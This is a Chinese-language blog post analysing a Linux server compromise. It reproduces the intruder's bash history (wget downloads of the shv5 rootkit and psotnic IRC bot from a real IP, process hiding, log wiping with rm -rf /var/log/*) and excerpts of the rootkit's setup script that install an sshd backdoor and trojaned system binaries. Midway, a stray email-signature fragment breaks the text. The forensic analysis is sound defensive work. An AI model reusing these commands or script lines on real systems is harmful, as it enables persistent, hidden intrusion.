Archulate's Blog

System maintence work blog

一次服务器被入侵后的分析

最近有个朋友让我去帮他看一下他的Linux服务器,说是Apache启动不了,有很多诡异的情况。后来证明绝不是Apache启动不了这么简单。

登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:

  1. lars@server1:~$ ls 
  2.   ls: invalid option -- h 
  3.   Try `ls --help' for more information. 

为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了。

  1. lars@server1:~$ alias ls 
  2.   alias ls='ls -sh --color=auto' 
  3.   lars@server1:~$ unalias ls 
  4.   lars@server1:~$ ls 
  5.   backup 
  6.   lars@server1:~$ 

虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题。

  1. lars@server1:~$ sudo /etc/init.d/apache2 start 
  2.   Password: 
  3.    * Starting apache 2.0 web server... 
  4.   (2): apache2: could not open error log file /var/log/apache2/error.log. 
  5.   Unable to open logs 
  6.    ...fail! 

纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题。

  1. lars@server1:~$ sudo -i 
  2.    Password: 
  3.    root@server1:~# ls 
  4.    ls: unrecognized prefix: do 
  5.    ls: unparsable value for LS_COLORS environment variable 
  6.    total 44 
  7.      4 .                 4 .bashrc           4 .ssh 
  8.      4 ..                4 .lesshst          8 .viminfo 
  9.      8 .bash_history     4 .profile          4 .vimrc 

很不幸的发现,”ls”又出问题了.同样,用”alias”命令:

  1. root@server1:~# alias ls 
  2.    alias ls='ls -sa --color=auto' 
  3.    root@server1:~# unalias ls 
  4.    root@server1:~# ls 
  5.    root@server1:~# 

这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了。

  1. root@server1:~# cat -n .bash_history 
  2.    ... 
  3.    340  w 
  4.    341  cd /var 
  5.    342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz 
  6.    343  tar -zxf shv5.tar.gz 
  7.    344  rm -rf shv5.tar.gz 
  8.    345  mv shv5 .x 
  9.    346  cd .x 
  10.    347  ./setup zibi.joe.149 54098 
  11.    348  passwd 
  12.    349  passwd 
  13.    350  ps aux 
  14.    351  crontab -l 
  15.    352  cat /etc/issue 
  16.    353  cat /etc/passwd 
  17.    354  w 
  18.    355  who 
  19.    356  cd /usr/lib/libsh 
  20.    357  ls 
  21.    358  hide + 
  22.    359  chmod +x hide 
  23.    360  hide + 
  24.    361  ./hide + 
  25.    362  cd /var/.x 
  26.    363  mkdir psotnic 
  27.    364  cd psotnic 
  28.    365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz 
  29.    366  tar -zxf psotnic0.2.5.tar.gz 
  30.    367  rm -rf psotnic0.2.5.tar.gz 
  31.    368  ls 
  32.    369  mv psotnic-0.2.5-linux-static-ipv6 synscan 
  33.    370  ./synscan 
  34.    371  vi conf 
  35.    372  vi conf1 
  36.    373  mv synscan smbd 
  37.    374  smbd -c conf 
  38.    375  ls 
  39.    376  ps aux 
  40.    377  ls 
  41.    378  ./smbd -c conf 
  42.    379  ./smbd -c conf1 
  43.    380  ./smbd conf 
  44.    381  ./smbd conf1 
  45.    382  ./smbd -a conf conf1 
  46.    383  rm -rf conf.dec 
  47.    384  rm -rf conf1.dec 
  48.    385  cd /usr/lib/libsh 
  49.    386  ./hide + 
  50.    387  exit 
  51.    ... 
  52.    425  ssh ftp@62.101.251.166 
  53.    426  w 
  54.    427  ls 
  55.    428  ls 
  56.    429  cd /var/.x 
  57.    430  ls 
  58.    431  cd psotnic/ 
  59.    432  ls 
  60.    433  rm -rf /var/log/* 
  61.    434  exit 
  62.    435  ls 
  63.    436  cd /var/.x/psotnic/ 
  64.    437  ls 
  65.    438  vi conf2 
  66.    439  ./smbd -c conf2 
  67.    440  ./smbd conf2 
  68.    441  ./smbd -a conf conf1 conf2 
  69.    442  rm -rf conf2.dec 
  70.    443  cd .. 
  71.    444  ls 
  72.    445  cd /usr/lib/libsh 
  73.    446  hide + 
  74.    447  ./hide + 
  75.    448  exit 
  76.    449  ps aux 
  77.    450  cd /var/.x 
  78.    451  ls 
  79.    452  ls 
  80.    453  cd psotnic/ 
  81.    454  ls 
  82.    455  cat pid.MastaH 
  83.    456  kill -9 2030 
  84.    457  ./synscan -a conf conf1 
  85.    458  ./smbd -a conf conf1 
  86.    459  cd /usr/lib/libsh 
  87.    460  ./hide + 

这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵。

通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098″的作用吧。

  1. root@server1:/var/.x# file setup 
  2.   setup: Bourne-Again shell script text executable 
  3.   root@server1:/var/.x# wc -l setup 
  4.   825 setup 
  5.   root@server1:/var/.x# head -17 setup 
  6.   #!/bin/bash 
  7.   # 
  8.   # shv5-internal-release 
  9.   # by: PinT[x] April/2003 
  10.   # 
  11.   # greetz to: 
  12.   # 
  13.   # [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 
  14.   #                 C00L|0, GolDenLord, Spike, zion ... 
  15.   # [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ... 
  16.   # [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ... 
  17.   # [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc.. 
  18.   # [*] And all others who diserve to be here but i forgot 
  19.   # [*] them at the moment ! 
  20.   # 
  21.   # PRIVATE ! DO NOT DISTRIBUTE *censored*EZ ! 

“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)

  1. mv $SSHDIR/sshd /sbin/ttyload 
  2.    chmod a+xr /sbin/ttyload 
  3.    chmod o-w /sbin/ttyload 
  4.    touch -acmr /bin/ls /sbin/ttyload 
  5.    chattr +isa /sbin/ttyload 
  6.    kill -9 `pidof ttyload` >/dev/null 2>&1 
  7.    .... 
  8.    # INITTAB SHUFFLING 
  9.    chattr -isa /etc/inittab 
  10.    cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1 
  11.    cat /etc/inittab |grep getty > /tmp/.init2 
  12.    echo "# Loading standard ttys" >> /tmp/.init1 
  13.    echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1 

它也替换了一些linux的标准命令。

  1. # Backdoor ps/top/du/ls/netstat/etc.. 
  2.    cd $BASEDIR/bin 
  3.    BACKUP=/usr/lib/libsh/.backup 
  4.    mkdir $BACKUP 
  5.    ... 
  6.    # ls ... 
  7.    chattr -isa /bin/ls 
  8.    cp /bin/ls $BACKUP 
  9.    mv -f ls /bin/ls 
  10.    chattr +isa /bin/ls 

这样子就可以解释为什么”ls”命令输出那么奇怪了。

“.backup”文件夹保存了被替换之前的命令程序。

  1. root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/ 
  2.   total 552 
  3.   -rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find 
  4.   -rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig 
  5.   -rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls 
  6.   -rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum 
  7.   -rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat 
  8.   -rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps 
  9.   -rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree 
  10.   -rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top 

看了一下时间戳,居然是在圣诞节。

很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下:

  1. root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls 
  2. eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls 
  3. 0a07cf554c1a74ad974416f60916b78d  /bin/ls 
  4.   
  5. root@server1:~# file /bin/ls 
  6. /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked 
  7. (uses shared libs), for GNU/Linux 2.0.0, stripped 
  8.   
  9. root@server1:~# file /usr/lib/libsh/.backup/ls 
  10. /usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked 
  11. (uses shared libs), for GNU/Linux 2.6.0, stripped 

这个rootkit(“sh5.tar.gz”)是从下面的地址下载的。

  1. root@server1:~# dig +short -x 83.19.148.250 
  2.    4lo.bydg.pl. 

这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.

这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)

  •    interesting results. 
  •   
  •    Cheers, 
  •   
  •    Alexander Talos 
  •   
  •    - -- 
  •    IT-Security, Universitaet Wien, ACOnet CERT 
  •   
  •    T: +43-1-4277-14351  M: +43-664-60277-14351 
  •  

    看起来我不够幸运。

    接下来我曾尝试连接irc频道里其他僵尸主机的 54098端口,可惜都失败了.看来其他的僵尸主机的后门可能使用的是别的端口。

    连接到”83.18.74.235″的流量看起来很混乱.只好再次用strace命令:

    1. root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace 

    跟预期的一样,有很多输出,其中一个是它尝试启动”BitchX”,这是一个irc客户端.但是失败了,因为BitchX没有安装:

    1. [pid  7537] write(2, "sh: ", 4)         = 4 
    2.    [pid  7537] write(2, "BitchX: not found", 17) = 17 
    3.    [pid  7537] write(2, "n", 1)           = 1 
    4.    [pid  7537] close(2)                    = 0 

    下面的截图是tcpdump抓到流量的一部分: